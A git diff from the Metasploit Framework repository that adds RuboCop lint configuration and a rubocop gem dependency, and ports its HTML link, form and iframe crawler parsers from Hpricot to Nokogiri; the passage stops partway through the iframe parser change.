Merge to update
commit
e1debd68ad
|
@ -0,0 +1,58 @@
|
|||
# This list was created by analyzing the last three months (51 modules)
|
||||
# committed to Metasploit Framework. Many, many older modules will have
|
||||
# offenses, but this should at least provide a baseline for new modules.
|
||||
#
|
||||
# Updates to this file should include a 'Description' parameter for
|
||||
# any explaination needed.
|
||||
|
||||
inherit_from: .rubocop_todo.yml
|
||||
|
||||
Style/ClassLength:
|
||||
Description: 'Most Metasploit modules are quite large. This is ok.'
|
||||
Enabled: true
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/Documentation:
|
||||
Enabled: true
|
||||
Description: 'Most Metasploit modules do not have class documentation.'
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/Encoding:
|
||||
Enabled: true
|
||||
Description: 'We prefer binary to UTF-8.'
|
||||
EnforcedStyle: 'when_needed'
|
||||
|
||||
Style/LineLength:
|
||||
Description: >-
|
||||
Metasploit modules often pattern match against very
|
||||
long strings when identifying targets.
|
||||
Enabled: true
|
||||
Max: 180
|
||||
|
||||
Style/MethodLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Style/PercentLiteralDelimiters:
|
||||
Enabled: false
|
||||
Description: >-
|
||||
Metasploit devs tend to prefer [] over %w() for
|
||||
nearly all cases, since we often deal with funny
|
||||
looking arrays of nonwords. Consistency here is
|
||||
preferred over element type safety.
|
||||
|
||||
Style/WordArray:
|
||||
Enabled: false
|
||||
Description: >-
|
||||
Metasploit devs have grown comforatble with curly
|
||||
braces over parens for %w. Disabling this check
|
||||
prefers consistency.
|
|
@ -0,0 +1,730 @@
|
|||
# This configuration was generated by `rubocop --auto-gen-config`
|
||||
# on 2014-07-29 16:18:04 -0500 using RuboCop version 0.23.0.
|
||||
# The point is for the user to remove these configuration records
|
||||
# one by one as the offenses are removed from the code base.
|
||||
# Note that changes in the inspected code, or installation of new
|
||||
# versions of RuboCop, may require this file to be generated again.
|
||||
|
||||
# Offense count: 10
|
||||
Lint/AmbiguousOperator:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 8
|
||||
Lint/AmbiguousRegexpLiteral:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1395
|
||||
# Configuration parameters: AllowSafeAssignment.
|
||||
Lint/AssignmentInCondition:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 105
|
||||
Lint/BlockAlignment:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 7
|
||||
Lint/ConditionPosition:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 119
|
||||
# Cop supports --auto-correct.
|
||||
Lint/DeprecatedClassMethods:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 5
|
||||
Lint/ElseLayout:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1
|
||||
Lint/EmptyInterpolation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 746
|
||||
# Configuration parameters: AlignWith, SupportedStyles.
|
||||
Lint/EndAlignment:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 3
|
||||
Lint/EnsureReturn:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 43
|
||||
Lint/Eval:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 586
|
||||
Lint/HandleExceptions:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 107
|
||||
Lint/LiteralInCondition:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 8
|
||||
Lint/LiteralInInterpolation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 30
|
||||
Lint/Loop:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 51
|
||||
Lint/ParenthesesAsGroupedExpression:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2
|
||||
Lint/RequireParentheses:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 526
|
||||
# Cop supports --auto-correct.
|
||||
Lint/RescueException:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 82
|
||||
Lint/ShadowingOuterLocalVariable:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 19
|
||||
Lint/SpaceBeforeFirstArg:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 395
|
||||
# Cop supports --auto-correct.
|
||||
Lint/StringConversionInInterpolation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 83
|
||||
Lint/UnderscorePrefixedVariableName:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 18
|
||||
Lint/UnreachableCode:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 950
|
||||
# Cop supports --auto-correct.
|
||||
Lint/UnusedBlockArgument:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1554
|
||||
# Cop supports --auto-correct.
|
||||
Lint/UnusedMethodArgument:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 21
|
||||
Lint/UselessAccessModifier:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2236
|
||||
Lint/UselessAssignment:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1
|
||||
Lint/UselessComparison:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 4
|
||||
Lint/UselessSetterCall:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 131
|
||||
Lint/Void:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 178
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/AccessModifierIndentation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 346
|
||||
Style/AccessorMethodName:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 195
|
||||
# Cop supports --auto-correct.
|
||||
Style/Alias:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1007
|
||||
# Cop supports --auto-correct.
|
||||
Style/AlignArray:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1205
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedHashRocketStyle, EnforcedColonStyle, EnforcedLastArgumentHashStyle, SupportedLastArgumentHashStyles.
|
||||
Style/AlignHash:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2822
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/AlignParameters:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 9507
|
||||
# Cop supports --auto-correct.
|
||||
Style/AndOr:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 9
|
||||
Style/AsciiComments:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 193
|
||||
# Cop supports --auto-correct.
|
||||
Style/BlockComments:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 841
|
||||
Style/BlockNesting:
|
||||
Max: 8
|
||||
|
||||
# Offense count: 3258
|
||||
# Cop supports --auto-correct.
|
||||
Style/Blocks:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2245
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/BracesAroundHashParameters:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 17
|
||||
Style/CaseEquality:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1843
|
||||
# Configuration parameters: IndentWhenRelativeTo, SupportedStyles, IndentOneStep.
|
||||
Style/CaseIndentation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 562
|
||||
# Cop supports --auto-correct.
|
||||
Style/CharacterLiteral:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 80
|
||||
Style/ClassAndModuleCamelCase:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 309
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/ClassAndModuleChildren:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 352
|
||||
# Configuration parameters: CountComments.
|
||||
Style/ClassLength:
|
||||
Max: 38107
|
||||
|
||||
# Offense count: 203
|
||||
# Cop supports --auto-correct.
|
||||
Style/ClassMethods:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 311
|
||||
Style/ClassVars:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 364
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: PreferredMethods.
|
||||
Style/CollectionMethods:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 315
|
||||
# Cop supports --auto-correct.
|
||||
Style/ColonMethodCall:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 233
|
||||
# Configuration parameters: Keywords.
|
||||
Style/CommentAnnotation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 375
|
||||
# Cop supports --auto-correct.
|
||||
Style/CommentIndentation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 450
|
||||
Style/ConstantName:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2713
|
||||
Style/CyclomaticComplexity:
|
||||
Max: 259
|
||||
|
||||
# Offense count: 275
|
||||
# Cop supports --auto-correct.
|
||||
Style/DefWithParentheses:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 159
|
||||
# Cop supports --auto-correct.
|
||||
Style/DeprecatedHashMethods:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1455
|
||||
Style/Documentation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 18
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/DotPosition:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 70
|
||||
Style/DoubleNegation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 16
|
||||
Style/EachWithObject:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 490
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: AllowAdjacentOneLineDefs.
|
||||
Style/EmptyLineBetweenDefs:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 3753
|
||||
# Cop supports --auto-correct.
|
||||
Style/EmptyLines:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 64
|
||||
Style/EmptyLinesAroundAccessModifier:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 8506
|
||||
# Cop supports --auto-correct.
|
||||
Style/EmptyLinesAroundBody:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 164
|
||||
# Cop supports --auto-correct.
|
||||
Style/EmptyLiteral:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 10
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/Encoding:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1
|
||||
Style/EndBlock:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1
|
||||
Style/EndOfLine:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 26
|
||||
Style/EvenOdd:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 44
|
||||
# Configuration parameters: Exclude.
|
||||
Style/FileName:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 108
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/For:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 981
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/FormatString:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 243
|
||||
# Configuration parameters: AllowedVariables.
|
||||
Style/GlobalVars:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 727
|
||||
# Configuration parameters: MinBodyLength.
|
||||
Style/GuardClause:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 11295
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/HashSyntax:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2551
|
||||
# Configuration parameters: MaxLineLength.
|
||||
Style/IfUnlessModifier:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 82
|
||||
Style/IfWithSemicolon:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2056
|
||||
# Cop supports --auto-correct.
|
||||
Style/IndentArray:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 3023
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/IndentHash:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1257
|
||||
# Cop supports --auto-correct.
|
||||
Style/IndentationConsistency:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 4705
|
||||
# Cop supports --auto-correct.
|
||||
Style/IndentationWidth:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 302
|
||||
Style/Lambda:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 4664
|
||||
# Cop supports --auto-correct.
|
||||
Style/LeadingCommentSpace:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 3304
|
||||
# Cop supports --auto-correct.
|
||||
Style/LineEndConcatenation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 127
|
||||
Style/LineLength:
|
||||
Max: 5614
|
||||
|
||||
# Offense count: 1480
|
||||
# Cop supports --auto-correct.
|
||||
Style/MethodCallParentheses:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 28
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/MethodDefParentheses:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 22
|
||||
# Configuration parameters: CountComments.
|
||||
Style/MethodLength:
|
||||
Max: 38090
|
||||
|
||||
# Offense count: 278
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/MethodName:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 27
|
||||
Style/MultilineBlockChain:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 93
|
||||
Style/MultilineIfThen:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 19
|
||||
Style/MultilineTernaryOperator:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 3497
|
||||
# Cop supports --auto-correct.
|
||||
Style/NegatedIf:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 85
|
||||
# Cop supports --auto-correct.
|
||||
Style/NegatedWhile:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 53
|
||||
Style/NestedTernaryOperator:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 972
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/Next:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 587
|
||||
# Cop supports --auto-correct.
|
||||
Style/NilComparison:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 311
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: IncludeSemanticChanges.
|
||||
Style/NonNilCheck:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 5052
|
||||
# Cop supports --auto-correct.
|
||||
Style/Not:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 72
|
||||
Style/OneLineConditional:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 28
|
||||
Style/OpMethod:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 94
|
||||
# Configuration parameters: CountKeywordArgs.
|
||||
Style/ParameterLists:
|
||||
Max: 14
|
||||
|
||||
# Offense count: 3567
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: AllowSafeAssignment.
|
||||
Style/ParenthesesAroundCondition:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1030
|
||||
# Cop supports --auto-correct.
|
||||
Style/PerlBackrefs:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 154
|
||||
# Configuration parameters: NamePrefixBlacklist.
|
||||
Style/PredicateName:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 165
|
||||
# Cop supports --auto-correct.
|
||||
Style/Proc:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 100
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/RaiseArgs:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 286
|
||||
# Cop supports --auto-correct.
|
||||
Style/RedundantBegin:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 269
|
||||
Style/RedundantException:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 3440
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: AllowMultipleReturnValues.
|
||||
Style/RedundantReturn:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 3162
|
||||
# Cop supports --auto-correct.
|
||||
Style/RedundantSelf:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 237
|
||||
# Configuration parameters: MaxSlashes.
|
||||
Style/RegexpLiteral:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 349
|
||||
Style/RescueModifier:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 203
|
||||
Style/SelfAssignment:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 485
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: AllowAsExpressionSeparator.
|
||||
Style/Semicolon:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2468
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/SignalException:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 126
|
||||
# Configuration parameters: Methods.
|
||||
Style/SingleLineBlockParams:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 480
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: AllowIfMethodIsEmpty.
|
||||
Style/SingleLineMethods:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 482
|
||||
# Cop supports --auto-correct.
|
||||
Style/SingleSpaceBeforeFirstArg:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 8
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceAfterColon:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 66361
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceAfterComma:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1387
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceAfterControlKeyword:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 35
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceAfterMethodName:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 154
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceAfterNot:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceAfterSemicolon:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2592
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/SpaceAroundEqualsInParameterDefault:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 9743
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceAroundOperators:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 390
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/SpaceBeforeBlockBraces:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1297
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceBeforeComment:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 7
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceBeforeModifierKeyword:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1342
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles, EnforcedStyleForEmptyBraces, SpaceBeforeBlockParameters.
|
||||
Style/SpaceInsideBlockBraces:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 24964
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceInsideBrackets:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2807
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, EnforcedStyleForEmptyBraces, SupportedStyles.
|
||||
Style/SpaceInsideHashLiteralBraces:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 5223
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceInsideParens:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 729
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpecialGlobalVars:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 111166
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/StringLiterals:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 382
|
||||
Style/Tab:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 568
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/TrailingBlankLines:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 6257
|
||||
# Configuration parameters: EnforcedStyleForMultiline, SupportedStyles.
|
||||
Style/TrailingComma:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1803
|
||||
# Cop supports --auto-correct.
|
||||
Style/TrailingWhitespace:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 141
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: ExactNameMatch, AllowPredicates, AllowDSLWriters, Whitelist.
|
||||
Style/TrivialAccessors:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 22
|
||||
Style/UnlessElse:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 216
|
||||
Style/UnneededCapitalW:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 13
|
||||
# Cop supports --auto-correct.
|
||||
Style/UnneededPercentX:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 93
|
||||
# Cop supports --auto-correct.
|
||||
Style/VariableInterpolation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 740
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/VariableName:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1520
|
||||
# Cop supports --auto-correct.
|
||||
Style/WhenThen:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 33
|
||||
# Cop supports --auto-correct.
|
||||
Style/WhileUntilDo:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 129
|
||||
# Configuration parameters: MaxLineLength.
|
||||
Style/WhileUntilModifier:
|
||||
Enabled: false
|
|
@ -33,6 +33,7 @@ and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-f
|
|||
## Code Contributions
|
||||
|
||||
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
|
||||
* Similarly, **try** to get Rubocop passing or at least relatively quiet against the files added/modified as part of your contribution
|
||||
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
|
||||
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
|
||||
|
||||
|
|
2
Gemfile
2
Gemfile
|
@ -37,6 +37,8 @@ group :pcap do
|
|||
end
|
||||
|
||||
group :development do
|
||||
# Style/sanity checking Ruby code
|
||||
gem 'rubocop'
|
||||
# Markdown formatting for yard
|
||||
gem 'redcarpet'
|
||||
# generating documentation
|
||||
|
|
15
Gemfile.lock
15
Gemfile.lock
|
@ -13,6 +13,7 @@ GEM
|
|||
i18n (~> 0.6, >= 0.6.4)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.2)
|
||||
ast (2.0.0)
|
||||
bcrypt (3.1.7)
|
||||
builder (3.0.4)
|
||||
database_cleaner (1.1.1)
|
||||
|
@ -34,8 +35,13 @@ GEM
|
|||
nokogiri (1.6.0)
|
||||
mini_portile (~> 0.5.0)
|
||||
packetfu (1.1.9)
|
||||
parser (2.1.9)
|
||||
ast (>= 1.1, < 3.0)
|
||||
slop (~> 3.4, >= 3.4.5)
|
||||
pcaprub (0.11.3)
|
||||
pg (0.16.0)
|
||||
powerpack (0.0.9)
|
||||
rainbow (2.0.0)
|
||||
rake (10.1.0)
|
||||
redcarpet (3.0.0)
|
||||
rkelly-remix (0.0.6)
|
||||
|
@ -48,12 +54,20 @@ GEM
|
|||
rspec-expectations (2.14.2)
|
||||
diff-lcs (>= 1.1.3, < 2.0)
|
||||
rspec-mocks (2.14.3)
|
||||
rubocop (0.23.0)
|
||||
json (>= 1.7.7, < 2)
|
||||
parser (~> 2.1.9)
|
||||
powerpack (~> 0.0.6)
|
||||
rainbow (>= 1.99.1, < 3.0)
|
||||
ruby-progressbar (~> 1.4)
|
||||
ruby-progressbar (1.5.1)
|
||||
shoulda-matchers (2.3.0)
|
||||
activesupport (>= 3.0.0)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
slop (3.5.0)
|
||||
sqlite3 (1.3.9)
|
||||
timecop (0.6.3)
|
||||
tzinfo (0.3.37)
|
||||
|
@ -83,6 +97,7 @@ DEPENDENCIES
|
|||
rkelly-remix (= 0.0.6)
|
||||
robots
|
||||
rspec (>= 2.12)
|
||||
rubocop
|
||||
shoulda-matchers
|
||||
simplecov (= 0.5.4)
|
||||
sqlite3
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -13,7 +13,7 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerSimple < BaseParser
|
||||
|
@ -24,23 +24,20 @@ class CrawlerSimple < BaseParser
|
|||
return
|
||||
end
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search('a').each do |link|
|
||||
|
||||
hr = link.attributes['href']
|
||||
|
||||
if hr and !hr.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET',hr,request['uri'],nil)
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
# doc = Hpricot(result.body.to_s)
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('a').each do |anchor_tag|
|
||||
hr = anchor_tag['href']
|
||||
if hr && !hr.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET', hr, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -13,7 +13,7 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerForms < BaseParser
|
||||
|
@ -27,49 +27,30 @@ class CrawlerForms < BaseParser
|
|||
hr = ''
|
||||
m = ''
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search('form').each do |f|
|
||||
hr = f.attributes['action']
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('form').each do |f|
|
||||
hr = f['action']
|
||||
|
||||
fname = f.attributes['name']
|
||||
if fname.empty?
|
||||
fname = "NONE"
|
||||
end
|
||||
fname = f['name']
|
||||
fname = "NONE" if fname.empty?
|
||||
|
||||
m = "GET"
|
||||
if !f.attributes['method'].empty?
|
||||
m = f.attributes['method'].upcase
|
||||
end
|
||||
m = f['method'].empty? ? 'GET' : f['method'].upcase
|
||||
|
||||
#puts "Parsing form name: #{fname} (#{m})"
|
||||
|
||||
htmlform = Hpricot(f.inner_html)
|
||||
htmlform = Nokogiri::HTML(f.inner_html)
|
||||
|
||||
arrdata = []
|
||||
|
||||
htmlform.search('input').each do |p|
|
||||
#puts p.attributes['name']
|
||||
#puts p.attributes['type']
|
||||
#puts p.attributes['value']
|
||||
|
||||
#raw_request has uri_encoding disabled as it encodes '='.
|
||||
arrdata << (p.attributes['name'] + "=" + Rex::Text.uri_encode(p.attributes['value']))
|
||||
htmlform.css('input').each do |p|
|
||||
arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}"
|
||||
end
|
||||
|
||||
data = arrdata.join("&").to_s
|
||||
|
||||
|
||||
begin
|
||||
hreq = urltohash(m,hr,request['uri'],data)
|
||||
|
||||
hreq = urltohash(m, hr, request['uri'], data)
|
||||
hreq['ctype'] = 'application/x-www-form-urlencoded'
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -9,33 +9,29 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerFrames < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search('iframe').each do |ifra|
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('iframe').each do |ifra|
|
||||
ir = ifra['src']
|
||||
|
||||
